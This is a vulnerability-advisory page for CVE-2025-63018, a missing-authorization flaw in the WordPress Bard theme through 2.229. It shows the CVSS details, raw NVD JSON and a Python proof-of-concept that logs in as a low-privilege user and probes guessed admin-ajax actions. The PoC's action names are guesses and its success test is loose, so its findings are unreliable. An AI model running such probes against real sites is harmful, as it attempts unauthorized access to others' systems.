Security Vulnerability Report
中文
CVE-2025-63018 CVSS 4.3 MEDIUM

CVE-2025-63018

Published: 2026-01-22 17:16:00
Last Modified: 2026-04-27 19:16:18

Description

Missing Authorization vulnerability in wproyal Bard bard allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Bard: from n/a through <= 2.229.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Bard Theme <= 2.229
Bard Theme (all versions through 2.229)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys from urllib.parse import urljoin # CVE-2025-63018 PoC - WordPress Bard Theme Authorization Bypass # This PoC demonstrates the Missing Authorization vulnerability in Bard theme <= 2.229 def check_vulnerability(target_url, username, password): """ Check if the target WordPress site with Bard theme is vulnerable """ session = requests.Session() # Step 1: Login to WordPress with low-privilege account login_url = urljoin(target_url, '/wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } login_response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Login failed") return False print("[+] Login successful with low-privilege user") # Step 2: Try to access Bard theme admin functionality (should be unauthorized) # Common Bard theme AJAX actions that might be vulnerable vulnerable_actions = [ 'bard_save_settings', 'bard_get_options', 'bard_update_option', 'bard_ajax_handler' ] ajax_url = urljoin(target_url, '/wp-admin/admin-ajax.php') for action in vulnerable_actions: # Step 3: Send request to protected functionality ajax_data = { 'action': action, 'nonce': '', # May not be required due to missing authorization 'data': 'test' } response = session.post(ajax_url, data=ajax_data) # Step 4: Check if unauthorized access was successful if response.status_code == 200: # Check for signs of successful unauthorized access if 'success' in response.text.lower() or len(response.text) > 50: print(f"[+] Vulnerable endpoint found: {action}") print(f"[+] Response: {response.text[:200]}") return True print("[-] No vulnerable endpoints found, but manual testing recommended") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://example.com subscriber password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] print(f"[*] Testing CVE-2025-63018 on {target}") check_vulnerability(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63018", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:15:59.540", "lastModified": "2026-04-27T19:16:18.233", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in wproyal Bard bard allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Bard: from n/a through <= 2.229."}, {"lang": "es", "value": "Vulnerabilidad por falta de autorización en wproyal Bard bard permite explotar niveles de seguridad de control de acceso incorrectamente configurados. Este problema afecta a Bard: desde n/a hasta &lt;= 2.229."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/bard/vulnerability/wordpress-bard-theme-2-229-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}